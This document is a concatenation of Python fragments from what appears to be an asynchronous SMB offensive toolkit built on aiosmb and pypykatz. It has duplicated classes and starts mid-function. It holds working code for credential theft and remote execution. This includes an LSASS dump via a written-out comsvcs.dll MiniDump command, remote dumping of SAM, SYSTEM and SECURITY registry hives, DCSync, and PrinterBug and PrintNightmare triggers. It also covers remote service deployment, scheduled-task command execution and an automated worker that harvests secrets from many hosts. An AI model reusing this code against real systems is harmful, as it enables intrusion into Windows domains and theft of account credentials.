return None, e
async def do_lsass(self):
try:
res, err = await self.machine.task_dump_lsass()
if err is not None:
print(str(err))
print(res)
await res.close()
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
async def do_printerbug(self, attacker_ip):
"""Printerbug"""
try:
res, err = await self.machine.printerbug(attacker_ip)
if err is not None:
print(str(err))
print(res)
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_tasks(self):
"""List scheduled tasks """
try:
async for taskname, err in self.machine.tasks_list():
if err is not None:
raise err
print(taskname)
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_taskregister(self, template_file, task_name = None):
"""Registers a new scheduled task"""
try:
with open(template_file, 'r') as f:
template = f.read()
res, err = await self.machine.tasks_register(template, task_name = task_name)
if err is not None:
logger.info('[!] Failed to register new task!')
raise err
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_taskdel(self, task_name):
"""Deletes a scheduled task """
try:
_, err = await self.machine.tasks_delete(task_name)
if err is not None:
raise err
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_taskcmdexec(self, command, timeout = 1):
""" Executes a shell command using the scheduled tasks service"""
try:
buffer = b''
if timeout is None or timeout == '':
timeout = 1
timeout = int(timeout)
async for data, err in self.machine.tasks_cmd_exec(command, timeout):
if err is not None:
raise err
if data is None:
break
try:
print(data.decode())
except:
print(data)
return True, None
#await self.machine.tasks_execute_commands([command])
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_interfaces(self):
""" Lists all network interfaces of the remote machine """
try:
interfaces, err = await self.machine.list_interfaces()
if err is not None:
raise err
for iface in interfaces:
print('%d: %s' % (iface['index'], iface['address']))
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_enumall(self, depth = 3):
""" Enumerates all shares for all files and folders recursively """
try:
depth = int(depth)
async for path, otype, err in self.machine.enum_all_recursively(depth = depth):
if otype is not None:
print('[%s] %s' % (otype[0].upper(), path))
if err is not None:
print('[E] %s %s' % (err, path))
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_printerenumdrivers(self):
""" Enumerates all shares for all files and folders recursively """
try:
drivers, err = await self.machine.enum_printer_drivers()
if err is not None:
raise err
for driver in drivers:
print(driver)
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_printnightmare(self, share, driverpath = ''):
""" printnightmare bug using the RPRN protocol """
try:
if len(driverpath) == 0:
driverpath = None
_, err = await self.machine.printnightmare(share, driverpath)
if err is not None:
raise err
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def do_parprintnightmare(self, share, driverpath = ''):
""" printnightmare bug using the PAR protocol """
try:
if len(driverpath) == 0:
driverpath = None
_, err = await self.machine.par_printnightmare(share, driverpath)
if err is not None:
raise err
return True, None
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
return None, e
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
return None, e
except Exception as e:
traceback.print_exc()
return None, e
async def scan_host(self, atarget):
try:
tid, target = atarget
try:
if 'all' in self.gather or 'protocols' in self.gather:
for protocol in self.protocols:
connection = self.smb_mgr.create_connection_newtarget(
target)
res, _, _, _, err = await connection.protocol_test(
[protocol])
if err is not None:
raise err
if res is True:
pr = SMBProtocols()
pr.machine_sid = tid
pr.protocol = protocol.name if protocol != NegotiateDialects.WILDCARD else 'SMB1'
await self.out_q.put(
(tid, connection.target, pr, None))
except Exception as e:
await self.out_q.put(
(tid, connection.target, None,
'Failed to enumerate supported protocols. Reason: %s' %
format_exc(e)))
connection = self.smb_mgr.create_connection_newtarget(target)
async with connection:
_, err = await connection.login()
if err is not None:
raise err
try:
extra_info = connection.get_extra_info()
if extra_info is not None:
f = SMBFinger.from_extra_info(tid, extra_info)
await self.out_q.put((tid, connection.target, f, None))
except Exception as e:
await self.out_q.put(
(tid, connection.target, None,
'Failed to get finger data. Reason: %s' %
format_exc(e)))
machine = SMBMachine(connection)
if 'all' in self.gather or 'shares' in self.gather:
async for smbshare, err in machine.list_shares():
if err is not None:
await self.out_q.put(
(tid, connection.target, None,
'Failed to list shares. Reason: %s' %
format_exc(err)))
break
else:
share = NetShare()
share.machine_sid = tid
share.ip = connection.target.get_ip()
share.netname = smbshare.name
share.type = smbshare.type
#share.remark = smbshare.remark
#if smbshare.remark is not None:
# r = None
# try:
# r = smbshare.remark.decode('utf-16-le')
# except:
# try:
# r = smbshare.remark.decode('latin-1')
# except:
# try:
# r = smbshare.remark.decode('utf-8')
# except:
# r = smbshare.remark
#
# if isinstance(r, str):
# r = r.replace('\x00','')
# share.remark = r
await self.out_q.put(
(tid, connection.target, share, None))
if 'all' in self.gather or 'sessions' in self.gather:
async for session, err in machine.list_sessions():
if err is not None:
await self.out_q.put(
(tid, connection.target, None,
'Failed to get sessions. Reason: %s' %
format_exc(err)))
break
else:
try:
sess = NetSession()
sess.machine_sid = tid
sess.source = connection.target.get_ip()
sess.ip = session.ip_addr.replace('\\',
'').strip()
sess.username = session.username
await self.out_q.put(
(tid, connection.target, sess, None))
except Exception as e:
await self.out_q.put(
(tid, connection.target, None,
'Failed to format session. Reason: %s' %
format_exc(e)))
if 'all' in self.gather or 'localgroups' in self.gather:
for group_name in self.localgroups:
async for domain_name, user_name, sid, err in machine.list_group_members(
'Builtin', group_name):
if err is not None:
await self.out_q.put((
tid, connection.target, None,
'Failed to connect to poll group memeberships. Reason: %s'
% format_exc(err)))
break
else:
lg = LocalGroup()
lg.machine_sid = tid
lg.ip = connection.target.get_ip()
lg.hostname = connection.target.get_hostname()
lg.sid = sid
lg.groupname = group_name
lg.domain = domain_name
lg.username = user_name
await self.out_q.put(
(tid, connection.target, lg, None))
except asyncio.CancelledError:
return
except Exception as e:
await self.out_q.put(
(tid, connection.target, None,
'Failed to connect to host. Reason: %s' % format_exc(e)))
return
finally:
await self.out_q.put(
(tid, connection.target, None, None)) #target finished
class SMBClient(aiocmd.PromptToolkitCmd):
def __init__(self, url=None):
aiocmd.PromptToolkitCmd.__init__(
self, ignore_sigint=False
) #Setting this to false, since True doesnt work on windows...
self.conn_url = None
if url is not None:
self.conn_url = SMBConnectionURL(url)
self.connection = None
self.machine = None
self.shares = {} #name -> share
self.__current_share = None
self.__current_directory = None
async def do_login(self, url=None):
try:
if self.conn_url is None and url is None:
print('No url was set, cant do logon')
if url is not None:
self.conn_url = SMBConnectionURL(url)
self.connection = self.conn_url.get_connection()
logger.debug(self.conn_url.get_credential())
logger.debug(self.conn_url.get_target())
await self.connection.login()
self.machine = SMBMachine(self.connection)
except Exception as e:
traceback.print_exc()
else:
print('Login success')
async def do_shares(self, show=True):
try:
async for share in self.machine.list_shares():
self.shares[share.name] = share
if show is True:
print(share.name)
except Exception as e:
traceback.print_exc()
async def do_sessions(self):
try:
async for sess in self.machine.list_sessions():
print("%s : %s" % (sess.username, sess.ip_addr))
except Exception as e:
traceback.print_exc()
async def do_domains(self):
try:
async for domain in self.machine.list_domains():
print(domain)
except Exception as e:
traceback.print_exc()
async def do_localgroups(self):
try:
async for name, sid in self.machine.list_localgroups():
print("%s : %s" % (name, sid))
except Exception as e:
traceback.print_exc()
async def do_domaingroups(self, domain_name):
try:
async for name, sid in self.machine.list_groups(domain_name):
print("%s : %s" % (name, sid))
except Exception as e:
traceback.print_exc()
async def do_groupmembers(self, domain_name, group_name):
try:
async for domain, username, sid in self.machine.list_group_members(
domain_name, group_name):
print("%s\\%s : %s" % (domain, username, sid))
except Exception as e:
traceback.print_exc()
async def do_localgroupmembers(self, group_name):
try:
async for domain, username, sid in self.machine.list_group_members(
'Builtin', group_name):
print("%s\\%s : %s" % (domain, username, sid))
except Exception as e:
traceback.print_exc()
async def do_use(self, share_name):
try:
if len(self.shares) == 0:
await self.do_shares(show=False)
if share_name in self.shares:
self.__current_share = self.shares[share_name]
await self.__current_share.connect(self.connection)
self.__current_directory = self.__current_share.subdirs[
''] #this is the entry directory
else:
print('Error! Uknown share name %s' % share_name)
except Exception as e:
traceback.print_exc()
async def do_ls(self):
try:
if self.__current_share is None:
print('No share selected!')
return
if self.__current_directory is None:
print('No directory selected!')
return
print(self.__current_directory)
async for entry in self.machine.list_directory(
self.__current_directory):
print(entry)
except Exception as e:
traceback.print_exc()
async def do_cd(self, directory_name):
try:
if self.__current_share is None:
print('No share selected!')
return
if self.__current_directory is None:
print('No directory selected!')
return
if directory_name not in self.__current_directory.subdirs:
print('The directory "%s" is not in parent directory "%s"' %
(directory_name, self.__current_directory.fullpath))
else:
self.__current_directory = self.__current_directory.subdirs[
directory_name]
except Exception as e:
traceback.print_exc()
async def do_services(self):
try:
async for service in self.machine.list_services():
print(service)
except Exception as e:
traceback.print_exc()
async def do_put(self, file_name):
try:
basename = ntpath.basename(file_name)
dst = '\\\\%s\\%s\\%s\\%s' % (
self.connection.target.get_hostname_or_ip(),
self.__current_share.name, self.__current_directory.fullpath,
basename)
print(basename)
print(dst)
await self.machine.put_file_raw(file_name, dst)
except Exception as e:
traceback.print_exc()
async def do_get(self, file_name):
try:
if file_name not in self.__current_directory.files:
print('File with name %s is not present in the directory %s' %
(file_name, self.__current_directory.name))
return
out_path = file_name
await self.machine.get_file(
out_path, self.__current_directory.files[file_name])
except Exception as e:
traceback.print_exc()
async def do_mkdir(self, directory_name):
try:
await self.machine.create_subdirectory(directory_name,
self.__current_directory)
except Exception as e:
traceback.print_exc()
async def do_dcsync(self):
try:
async for secret in self.machine.dcsync():
print(str(secret))
except Exception as e:
traceback.print_exc()
async def regdump(url,
hives=['HKLM\\SAM', 'HKLM\\SYSTEM', 'HKLM\\SECURITY'],
remote_base_path='C:\\Windows\\Temp\\',
remote_share_name='\\c$\\Windows\\Temp\\',
enable_wait=3):
from aiosmb.commons.connection.url import SMBConnectionURL
from aiosmb.commons.interfaces.machine import SMBMachine
from aiosmb.commons.interfaces.file import SMBFile
from aiosmb.dcerpc.v5.common.service import SMBServiceStatus
from pypykatz.alsadecryptor.asbmfile import SMBFileReader
from pypykatz.registry.aoffline_parser import OffineRegistry
smburl = SMBConnectionURL(url)
connection = smburl.get_connection()
if remote_base_path.endswith('\\') is False:
remote_base_path += '\\'
if remote_share_name.endswith('\\') is False:
remote_share_name += '\\'
po = None
async with connection:
logging.debug('[REGDUMP] Connecting to server...')
_, err = await connection.login()
if err is not None:
raise err
logging.debug('[REGDUMP] Connected to server!')
async with SMBMachine(connection) as machine:
logging.debug(
'[REGDUMP] Checking remote registry service status...')
status, err = await machine.check_service_status('RemoteRegistry')
if err is not None:
raise err
logging.debug('[REGDUMP] Remote registry service status: %s' %
status.name)
if status != SMBServiceStatus.RUNNING:
logging.debug('[REGDUMP] Enabling Remote registry service')
_, err = await machine.enable_service('RemoteRegistry')
if err is not None:
raise err
logging.debug('[REGDUMP] Starting Remote registry service')
_, err = await machine.start_service('RemoteRegistry')
if err is not None:
raise err
await asyncio.sleep(enable_wait)
logging.debug(
'[REGDUMP] Remote registry service should be running now...')
files = {}
for hive in hives:
fname = '%s.%s' % (os.urandom(4).hex(), os.urandom(3).hex())
remote_path = remote_base_path + fname
remote_sharepath = remote_share_name + fname
remote_file = SMBFileReader(
SMBFile.from_remotepath(connection, remote_sharepath))
files[hive.split('\\')[1].upper()] = remote_file
logging.info('[REGDUMP] Dumping reghive %s to (remote) %s' %
(hive, remote_path))
_, err = await machine.save_registry_hive(hive, remote_path)
if err is not None:
raise err
#await asyncio.sleep(1)
for rfilename in files:
rfile = files[rfilename]
logging.debug('[REGDUMP] Opening reghive file %s' % rfilename)
_, err = await rfile.open(connection)
if err is not None:
raise err
try:
logging.debug('[REGDUMP] Parsing hives...')
po = await OffineRegistry.from_async_reader(
files['SYSTEM'],
sam_reader=files.get('SAM'),
security_reader=files.get('SECURITY'),
software_reader=files.get('SOFTWARE'))
except Exception as e:
print(e)
logging.debug('[REGDUMP] Hives parsed OK!')
logging.debug('[REGDUMP] Deleting remote files...')
err = None
for rfilename in files:
rfile = files[rfilename]
err = await rfile.close()
if err is not None:
logging.debug(
'[REGDUMP] ERR! Failed to close hive dump file! %s' %
rfilename)
_, err = await rfile.delete()
if err is not None:
logging.debug(
'[REGDUMP] ERR! Failed to delete hive dump file! %s' %
rfilename)
if err is None:
logging.debug('[REGDUMP] Deleting remote files OK!')
return po
class SMBClient(aiocmd.PromptToolkitCmd):
def __init__(self, url = None):
aiocmd.PromptToolkitCmd.__init__(self, ignore_sigint=False) #Setting this to false, since True doesnt work on windows...
self.conn_url = None
if url is not None:
self.conn_url = SMBConnectionURL(url)
self.connection = None
self.machine = None
self.shares = {} #name -> share
self.__current_share = None
self.__current_directory = None
async def do_login(self, url = None):
"""Connects to the remote machine"""
try:
if self.conn_url is None and url is None:
print('No url was set, cant do logon')
if url is not None:
self.conn_url = SMBConnectionURL(url)
self.connection = self.conn_url.get_connection()
logger.debug(self.conn_url.get_credential())
logger.debug(self.conn_url.get_target())
await self.connection.login()
self.machine = SMBMachine(self.connection)
except Exception as e:
traceback.print_exc()
else:
print('Login success')
async def do_shares(self, show = True):
"""Lists available shares"""
try:
async for share, err in ef_gen(self.machine.list_shares()):
if err is not None:
raise err
self.shares[share.name] = share
if show is True:
print(share.name)
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_sessions(self):
"""Lists sessions of connected users"""
try:
async for sess, err in ef_gen(self.machine.list_sessions()):
if err is not None:
raise err
print("%s : %s" % (sess.username, sess.ip_addr))
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_domains(self):
"""Lists domain"""
try:
async for domain, err in self.machine.list_domains():
if err is not None:
raise err
print(domain)
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_localgroups(self):
"""Lists local groups"""
try:
async for name, sid, err in self.machine.list_localgroups():
if err is not None:
raise err
print("%s : %s" % (name, sid))
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_domaingroups(self, domain_name):
"""Lists groups in a domain"""
try:
async for name, sid, err in self.machine.list_groups(domain_name):
if err is not None:
raise err
print("%s : %s" % (name, sid))
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_groupmembers(self, domain_name, group_name):
"""Lists members of an arbitrary group"""
try:
async for domain, username, sid, err in self.machine.list_group_members(domain_name, group_name):
if err is not None:
raise err
print("%s\\%s : %s" % (domain, username, sid))
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_localgroupmembers(self, group_name):
"""Lists members of a local group"""
try:
async for domain, username, sid, err in self.machine.list_group_members('Builtin', group_name):
if err is not None:
raise err
print("%s\\%s : %s" % (domain, username, sid))
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_use(self, share_name):
"""selects share to be used"""
try:
if len(self.shares) == 0:
await self.do_shares(show = False)
if share_name not in self.shares:
if share_name.upper() not in self.shares:
print('Error! Uknown share name %s' % share_name)
return
share_name = share_name.upper()
self.__current_share = self.shares[share_name]
await self.__current_share.connect(self.connection)
self.__current_directory = self.__current_share.subdirs[''] #this is the entry directory
self.prompt = '[%s] $' % self.__current_directory.unc_path
await self.do_ls(False)
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_ls(self, show = True):
try:
if self.__current_share is None:
print('No share selected!')
return
if self.__current_directory is None:
print('No directory selected!')
return
#print(self.__current_directory)
async for entry in self.machine.list_directory(self.__current_directory):
if show == True:
print(entry)
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_cd(self, directory_name):
try:
if self.__current_share is None:
print('No share selected!')
return
if self.__current_directory is None:
print('No directory selected!')
return
if directory_name not in self.__current_directory.subdirs:
if directory_name == '..':
self.__current_directory = self.__current_directory.parent_dir
self.prompt = '[%s] $' % (self.__current_directory.unc_path)
return
else:
print('The directory "%s" is not in parent directory "%s"' % (directory_name, self.__current_directory.fullpath))
else:
self.__current_directory = self.__current_directory.subdirs[directory_name]
self.prompt = '[%s] $' % (self.__current_directory.unc_path)
await self.do_ls(False)
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
def get_current_dirs(self):
if self.__current_directory is None:
return []
return list(self.__current_directory.subdirs.keys())
def get_current_files(self):
if self.__current_directory is None:
return []
return list(self.__current_directory.files.keys())
async def do_sid(self, file_name):
if file_name not in self.__current_directory.files:
print('file not in current directory!')
return
file_obj = self.__current_directory.files[file_name]
sid = await file_obj.get_security_descriptor(self.connection)
print(str(sid))
async def do_dirsid(self):
sid = await self.__current_directory.get_security_descriptor(self.connection)
print(str(sid))
def _cd_completions(self):
return SMBPathCompleter(get_current_dirs = self.get_current_dirs)
def _get_completions(self):
return SMBPathCompleter(get_current_dirs = self.get_current_files)
async def do_services(self):
"""Lists remote services"""
try:
async for service, err in self.machine.list_services():
if err is not None:
raise err
print(service)
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_serviceen(self, service_name):
"""Enables a remote service"""
try:
res, err = await self.machine.enable_service(service_name)
if err is not None:
raise err
print(res)
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_servicecreate(self, service_name, command, display_name = None):
"""Creates a remote service"""
try:
res, err = await self.machine.create_service(service_name, command, display_name)
if err is not None:
raise err
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_servicedeploy(self, path_to_exec, remote_path):
"""Deploys a binary file from the local system as a service on the remote system"""
#servicedeploy /home/devel/Desktop/cmd.exe /shared/a.exe
try:
basename = ntpath.basename(remote_path)
remote_path = '\\\\%s\\%s\\%s\\%s' % (self.connection.target.get_hostname_or_ip(), self.__current_share.name, self.__current_directory.fullpath , basename)
await rr(self.machine.deploy_service(path_to_exec, remote_path = remote_path))
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_put(self, file_name):
"""Uploads a file to the remote share"""
try:
basename = ntpath.basename(file_name)
dst = '\\%s\\%s\\%s' % (self.__current_share.name, self.__current_directory.fullpath , basename)
print(basename)
print(dst)
await self.machine.put_file(file_name, dst)
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_del(self, file_name):
"""Removes a file from the remote share"""
try:
basename = ntpath.basename(file_name)
dst = '\\%s\\%s\\%s' % (self.__current_share.name, self.__current_directory.fullpath , basename)
print(dst)
await self.machine.del_file(dst)
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_regsave(self, hive_name, file_path):
"""Saves a registry hive to a file on remote share"""
try:
await rr(self.machine.save_registry_hive(hive_name, file_path))
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_get(self, file_name):
"""Download a file from the remote share to the current folder"""
try:
matched = []
if file_name not in self.__current_directory.files:
for fn in fnmatch.filter(list(self.__current_directory.files.keys()), file_name):
matched.append(fn)
if len(matched) == 0:
print('File with name %s is not present in the directory %s' % (file_name, self.__current_directory.name))
return
else:
matched.append(file_name)
for file_name in matched:
file_obj = self.__current_directory.files[file_name]
with tqdm.tqdm(desc = 'Downloading %s' % file_name, total=file_obj.size, unit='B', unit_scale=True, unit_divisor=1024) as pbar:
with open(file_name, 'wb') as outfile:
async for data in self.machine.get_file_data(file_obj):
if data is None:
break
outfile.write(data)
pbar.update(len(data))
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_mkdir(self, directory_name):
"""Creates a directory on the remote share"""
try:
await self.machine.create_subdirectory(directory_name, self.__current_directory)
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_dcsync(self):
"""It's a suprse tool that will help us later"""
try:
async for secret, err in self.machine.dcsync():
if err is not None:
raise err
print(str(secret))
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def do_users(self, domain = None):
"""List users in domain"""
try:
async for username, user_sid, err in self.machine.list_domain_users(domain):
if err is not None:
print(str(err))
print('%s %s' % (username, user_sid))
except SMBException as e:
logger.debug(traceback.format_exc())
print(e.pprint())
except SMBMachineException as e:
logger.debug(traceback.format_exc())
print(str(e))
except DCERPCException as e:
logger.debug(traceback.format_exc())
print(str(e))
except Exception as e:
traceback.print_exc()
async def lsassdump(url,
method='taskexec',
remote_base_path='C:\\Windows\\Temp\\',
remote_share_name='\\c$\\Windows\\Temp\\',
chunksize=64 * 1024,
packages=['all']):
from aiosmb.commons.exceptions import SMBException
from aiosmb.wintypes.ntstatus import NTStatus
from aiosmb.commons.connection.url import SMBConnectionURL
from aiosmb.commons.interfaces.machine import SMBMachine
from pypykatz.alsadecryptor.asbmfile import SMBFileReader
from aiosmb.commons.interfaces.file import SMBFile
from pypykatz.apypykatz import apypykatz
smburl = SMBConnectionURL(url)
connection = smburl.get_connection()
if remote_base_path.endswith('\\') is False:
remote_base_path += '\\'
if remote_share_name.endswith('\\') is False:
remote_share_name += '\\'
fname = '%s.%s' % (os.urandom(5).hex(), os.urandom(3).hex())
filepath = remote_base_path + fname
filesharepath = remote_share_name + fname
if method == 'taskexec':
cmd = """for /f "tokens=1,2 delims= " ^%A in ('"tasklist /fi "Imagename eq lsass.exe" | find "lsass""') do rundll32.exe C:\\windows\\System32\\comsvcs.dll, MiniDump ^%B {} full""".format(
filepath)
commands = [cmd]
else:
raise Exception('Unknown execution method %s' % method)
mimi = None
async with connection:
logging.debug('[LSASSDUMP] Connecting to server...')
_, err = await connection.login()
if err is not None:
raise err
logging.debug('[LSASSDUMP] Connected!')
async with SMBMachine(connection) as machine:
if method == 'taskexec':
logging.debug(
'[LSASSDUMP] Start dumping LSASS with taskexec method!')
logging.info('[LSASSDUMP] File location: %s' % filepath)
_, err = await machine.tasks_execute_commands(commands)
if err is not None:
raise err
logging.debug(
'[LSASSDUMP] Sleeping a bit to let the remote host finish dumping'
)
await asyncio.sleep(10)
else:
raise Exception('Unknown execution method %s' % method)
logging.debug('[LSASSDUMP] Opening LSASS dump file...')
for _ in range(3):
smbfile = SMBFileReader(
SMBFile.from_remotepath(connection, filesharepath))
_, err = await smbfile.open(connection)
if err is not None:
if isinstance(err, SMBException):
if err.ntstatus == NTStatus.SHARING_VIOLATION:
logging.debug(
'[LSASSDUMP] LSASS dump is not yet ready, retrying...'
)
await asyncio.sleep(1)
continue
raise err
break
else:
raise err
logging.debug('[LSASSDUMP] LSASS dump file opened!')
logging.debug(
'[LSASSDUMP] parsing LSASS dump file on the remote host...')
mimi = await apypykatz.parse_minidump_external(smbfile,
chunksize=chunksize,
packages=packages)
logging.debug('[LSASSDUMP] parsing OK!')
logging.debug('[LSASSDUMP] Deleting remote dump file...')
_, err = await smbfile.delete()
if err is not None:
logging.info(
'[LSASSDUMP] Failed to delete LSASS file! Reason: %s' % err)
else:
logging.info('[LSASSDUMP] remote LSASS file deleted OK!')
return mimi
async def worker(in_q, out_q, args, output_root):
while True:
try:
connection = await in_q.get()
if connection is None:
await out_q.put(None)
return
tname = connection.target.get_hostname_or_ip()
# creating subdir for target
tf = datetime.datetime.utcnow().strftime("%Y_%m_%d-%H%M")
con_folder = output_root.joinpath(tname.replace('.', '_'), tf)
con_folder.mkdir(parents=True, exist_ok=True)
logger.info('[+] Connecting to %s' % tname)
try:
await connection.login()
logger.info('[+] Connected to %s' % tname)
except Exception as e:
logger.exception('Failed to connect to %s' % tname)
if con_folder is not None:
with open(con_folder.joinpath('error.txt'), 'w') as f:
f.write(
'Error during initial SMB connection! \r\n Error text: \r\n%s'
% str(e))
continue
async with SMBMachine(connection) as machine:
if args.cmd in ['dcsync', 'all']:
if con_folder is not None:
dcsync_folder = con_folder.joinpath('dcsync')
dcsync_folder.mkdir(parents=True, exist_ok=True)
_, err = await smb_dcsync(machine, dcsync_folder)
if err is not None:
logger.error(str(err))
if con_folder is not None:
with open(dcsync_folder.joinpath('error.txt'),
'w') as f:
f.write(
'Error during DCSYNC operation! \r\n Error text: \r\n%s'
% str(err))
if args.cmd in ['registry', 'all']:
if con_folder is not None:
registry_folder = con_folder.joinpath('registry')
registry_folder.mkdir(parents=True, exist_ok=True)
_, err = await smb_registry(machine, registry_folder)
if err is not None:
logger.error(format_tb(err))
if con_folder is not None:
with open(registry_folder.joinpath('error.txt'),
'w') as f:
f.write(
'Error during REGDUMP operation! \r\n Error text: \r\n%s'
% str(err))
